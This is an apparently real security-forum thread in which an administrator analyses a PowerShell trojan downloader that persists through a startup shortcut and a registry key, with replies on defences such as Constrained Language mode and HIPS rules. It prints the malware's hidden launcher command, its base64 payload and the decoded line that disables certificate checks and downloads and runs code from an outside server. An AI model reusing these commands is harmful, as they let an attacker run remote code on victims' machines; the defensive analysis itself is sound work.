Jump to content
kapela86

Clever "virus" that stores it's execution code in registry

Recommended Posts

Few days ago one user was infected with some unknown virus (probably from e-mail attachment), I noticed it because ERA reported everyday at morning that it detected PowerShell/TrojanDownloader.Agent.AZG and I went there to investigate. What surprised me was that there was iexplorer.lnk file in user's startup folder and it pointed to

%windir%\System32\WindowsPowerShell\v1.0\powershell.exe   -W Hidden -Exec -nop $t=Get-ItemProperty -Path 'HKCU:\Software\Classes\mssccfile' -Name t;IEX $t.t;

I checked that reg path, it contains this:

$EncodedText = 'WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAIAA9ACAAewAgACQAdAByAHUAZQAgAH0AOwAgAEkARQBYACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AYQB1AHQAbwB2AGEAbAB1AGUAcABhAHIAdABzAC4AcwBpAHQAZQA6ADQANAAzAC8AZABlAGIAdQBnAC8AZABvAHcAbgBsAG8AYQBkAC8AcwAvAHEAawBjAFoAJwApADsA';$DecodedText = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($EncodedText)); IEX $DecodedText

I decoded it to this:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }; IEX (New-Object Net.WebClient).DownloadString('https://autovalueparts.site:443/debug/download/s/qkcZ');

I'm glad that ESET detected download attempt everytime it started, but it probably could detect that lnk file.

virus.zip

Share this post


Link to post
Share on other sites

Must say this one is a bit unique in the combination of using a .lnk file from the startup folder pointing to Powershell to run something from the registry. Normally .lnk malware attacks are e-mail based: https://blog.trendmicro.com/trendlabs-security-intelligence/rising-trend-attackers-using-lnk-files-download-malware/

The first concern would be it appears that malware was able to create this registry key, HKCU\Software\Classes\mssccfile, which needs to be addressed.

Also if PowerShell was set to "Constrained Language" mode, the attack would have failed since PowerShell is calling a .Net subassembly which would not be allowed in this Language mode.

Share this post


Link to post
Share on other sites
5 minutes ago, itman said:

The first concern would be it appears that malware was able to create this registry key, HKCU\Software\Classes\mssccfile, which needs to be addressed.

Well it's in HKEY_CURRENT_USER so current user has rights to edit it and any malware run from that account can also do it.

And thanks for pointing out about "Constrained Language " mode, I will look into it.

Share this post


Link to post
Share on other sites
1 minute ago, kapela86 said:

Well it's in HKEY_CURRENT_USER so current user has rights to edit it and any malware run from that account can also do it.

What I meant was the key needs to be removed. It doesn't exist on my Win 10 x(64) 1803 build.

Share this post


Link to post
Share on other sites
Just now, itman said:

What I meant was the key needs to be removed. It doesn't exist on my Win 10 x(64) 1803 build.

Yeah I removed it, but there would be no harm leaving it as it is harmless on its own, it was obvious it's not a standard system key, I even gogled mssccfile, only 1 result was found

Share this post


Link to post
Share on other sites
4 hours ago, kapela86 said:

Yeah I removed it, but there would be no harm leaving it as it is harmless on its own, it was obvious it's not a standard system key, I even gogled mssccfile, only 1 result was found

As far as I am aware, a .lnk file cannot be run directly from a startup directory. For example, .lnk files are present in the Windows Accessories directory, etc.

From this Sentinel article:

Quote

Methods for Using Windows Shortcut File or .LNK

Windows shortcut files are not only valued for deception capabilities, but also for the flexibility in delivering malicious payloads. .LNK can be used to:

  1. Run CodeIn the case of Stuxnet (CVE-2010-2568 and MS10-046), the .LNK files were used to start running the Stuxnet code. The only requirement was that the icon simply appeared, whether from an infected USB drive, a network share, malicious website, or packaged into a document. Even without clicking on the icon, it was able to deliver the malware’s payload.

https://www.sentinelone.com/blog/windows-shortcut-file-lnk-sneaking-malware/

It does not state icons on the desktop for example. So it would be informative to know just how this .lnk file was executed.

Edited by itman

Share this post


Link to post
Share on other sites

This might be how the .lnk file ran at startup:

Quote

3: StartupAutorun

If the resource 105 begins with the dword value “3”, a LNK file will be created in the Start Menu. The resource will also provide a description for the shortcut file, the path for the target and the filename for the LNK.

The IShellLink interface is used to create the shell link.

https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf

 

Edited by itman

Share this post


Link to post
Share on other sites
13 hours ago, itman said:

As far as I am aware, a .lnk file cannot be run directly from a startup directory

Sure they can, it's standard Windows design dating back Windows 98 if not older. If you put lnk files in C:\Users\you\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ they will launch at user login

Edited by kapela86

Share this post


Link to post
Share on other sites
7 hours ago, kapela86 said:

you put lnk files in C:\Users\you\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ they will launch at user login

This directory requires admin privileges to write to. Eset's historical stance has been this is sufficient protection.

If you have Eset Endpoint, a HIPS rule to prevent *.lnk file creation in the directory could be created. Unfortunately, like HIPS wildcard capability still doesn't exist in the retail versions to do the same; despite repeated user requests for it over the years.

Edited by itman

Share this post


Link to post
Share on other sites
11 minutes ago, itman said:

This directory requires admin privileges to write to.

No it doesn't.

 

12 minutes ago, itman said:

If you have Eset Endpoint...

Yes we have Endpoint Security, I will try to experiment with HIPS. I meant to do it anyway to block running vbs files.

Share this post


Link to post
Share on other sites
Just now, kapela86 said:

No it doesn't.

It does on my Win 10 x(64) 1803 build.

Share this post


Link to post
Share on other sites
13 minutes ago, itman said:

It does on my Win 10 x(64) 1803 build.

And it doesn't on mine, also Win 10 x64 1803 Pro connected to Active Directory, tested with an account that is only standard user. I will test this later at home on Win 7 x64 Home Premium and 10 x64 1803 Home

Edited by kapela86

Share this post


Link to post
Share on other sites
1 hour ago, kapela86 said:

And it doesn't on mine, also Win 10 x64 1803 Pro connected to Active Directory, tested with an account that is only standard user. I will test this later at home on Win 7 x64 Home Premium and 10 x64 1803 Home

I stand corrected. You can write to that directory w/o issue; at least with limited admin privileges.

For some reason, I got a admin popup when testing which might be due to the Eset HIPS rule I created to monitor write activity to the directory.

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

  • Recently Browsing   0 members

    No registered users viewing this page.

×